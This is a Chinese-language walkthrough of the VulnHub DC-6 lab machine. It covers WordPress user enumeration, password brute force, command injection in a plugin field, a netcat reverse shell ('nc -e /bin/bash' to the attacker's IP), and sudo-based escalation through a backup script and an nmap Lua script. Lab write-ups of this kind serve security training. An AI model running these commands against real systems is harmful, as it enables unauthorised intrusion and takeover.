信息收集
扫描当前网段,确定存活主机
nmap -sP 192.168.202.0/24
对靶机进行端口扫描,发现80、22端口开放
nmap -A -p- -v 192.168.202.145
访问80端口,发现和dc-2一样的问题,会自动跳转到域名,需要手动在hosts文件加入ip对应关系。
修改后重新访问80端口,用Wappalyzer扫描一下框架,发现是WordPress
根据靶机作者的提示,大致就知道是通过爆破来做
用专门的CMS扫描器枚举用户名
wpscan --url http://wordy -e u
将扫出来的用户名放进admin.txt
将提示中的字典进行解压
cd /usr/share/wordlists/
ls
gunzip rockyou.txt.gz rockyou.txt
按照提示要求提取一部分作为爆破的字典
cat /usr/share/wordlists/rockyou.txt |grep k01 >pass.txt
用wpscan进行爆破
wpscan --url http://wordy -U admin.txt -P pass.txt
得到账号密码
Username: mark, Password: helpdesk01
得到账号密码还得知道登录界面,使用dirsearch进行扫描
python3 dirsearch.py -u http://wordy
发现一个/wp-admin,进入页面完成登录,之后寻找一下漏洞点。
漏洞利用
在Activity monitor界面发现有IP转换和查找功能,这是不是和皮卡丘靶场的命令执行有点相似,分别对两个测试一波。
通过测试,可以判断Lookup处存在命令执行漏洞
反弹shell
利用测试出来的漏洞反弹shell。
在kali机
nc -lvnp 8888
在命令执行漏洞处,记得F12改一下最大长度
;nc -e /bin/bash 192.168.202.129 8888
交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
尝试SUID提权,并没有发现可利用点
find / -perm -4000 -print 2>/dev/null
尝试免密使用的root级别命令,需要密码,也不行
sudo -l
提一下一位师傅的思路,在已知账号和密码的情况下,可以先尝试直接使用已知账号的密码提权(但在该靶机上都被拒绝了)
接下来根据以往的经验,查找一下/home目录下的文件。
发现jens存在backups.sh,用ls -l查看一下,发现并没有写的权限。
mark目录存在graham的密码
Add new user: graham - GSo7isUM1D4 - done
切换graham用户进行登录
su graham
尝试SUID提权,也没有利用点
尝试免密使用root级别命令,发现可以以jens的身份免密使用备份文件backups.sh
接着进入/home/jens查看一下也没有写的权限
ls -l
那么大致思路就有了,将/bin/bash写入backups.sh中,以jens用户身份运行该文件即可获得目标shell。
写入backups.sh
echo "/bin/bash" >>backups.sh
以jens用户身份运行得到目标shell
sudo -u jens ./backups.sh
还是先试试SUID提权,没成功
看看可以免密使用的root级别命令
噢,好像有戏。写入一个执行bash的nmap脚本,以root权限免密运行
echo 'os.execute("/bin/bash")'> getshell
os-execute相当于system
Lua os.execute() - 简书 (jianshu.com)
以root权限免密运行,提权成功
sudo nmap --script=getshell
参考文章
【渗透项目】靶机DC-6渗透过程_super小明的博客-CSDN博客_靶机dc6
VulnHub靶机渗透之DC:6 - 云+社区 - 腾讯云 (tencent.com)
DC-6 渗透测试_Darklord.W的博客-CSDN博客_dc-6
Lua os.execute() - 简书 (jianshu.com)